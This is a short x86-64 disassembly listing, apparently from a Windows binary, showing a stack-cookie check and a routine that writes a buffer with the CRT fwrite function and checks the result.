mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14009fef0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14003cb3b
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14003cb44
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14003caf1
xor al, al
jmp 0x14003caf1